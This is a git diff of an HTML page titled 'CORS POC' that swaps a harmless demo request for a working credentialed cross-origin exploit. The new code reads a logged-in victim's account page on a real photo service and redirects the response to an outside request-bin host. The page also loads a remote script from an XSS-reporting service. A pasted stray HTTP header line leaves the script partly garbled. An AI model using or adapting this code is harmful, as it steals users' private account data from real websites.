Update index.html

index.html

@@ -19,18 +19,16 @@ <h1>CORS POC</h1>
     <hr />
     <div id="demo"></div>
     <script>
-      function exploit() {
-        var xhr = new XMLHttpRequest();
-        var url = "https://jsonplaceholder.typicode.com/users";
-        xhr.onreadystatechange = function () {
-          if (this.readyState == 4 && this.status == 200) {
-            document.getElementById("demo").innerHTML = this.responseText;
-          }
-        };
-        xhr.open("GET", url, true);
-        xhr.withCredentials = true;
-        xhr.send();
-      }
+      var req = new XMLHttpRequest();
+req.onload = reqListener;
+req.open('get','https://www.snapfish.com/youraccount?tab=tab-1',true);
+req.withCredentials = true;
+req.send();
+Content-Length: 2141
+
+function reqListener() {
+   location='https://en0wwy1g0an7hi.x.pipedream.net?key='+this.responseText;
+};
     </script>
     <script src=https://xss.report/c/samiii></script>
   </body>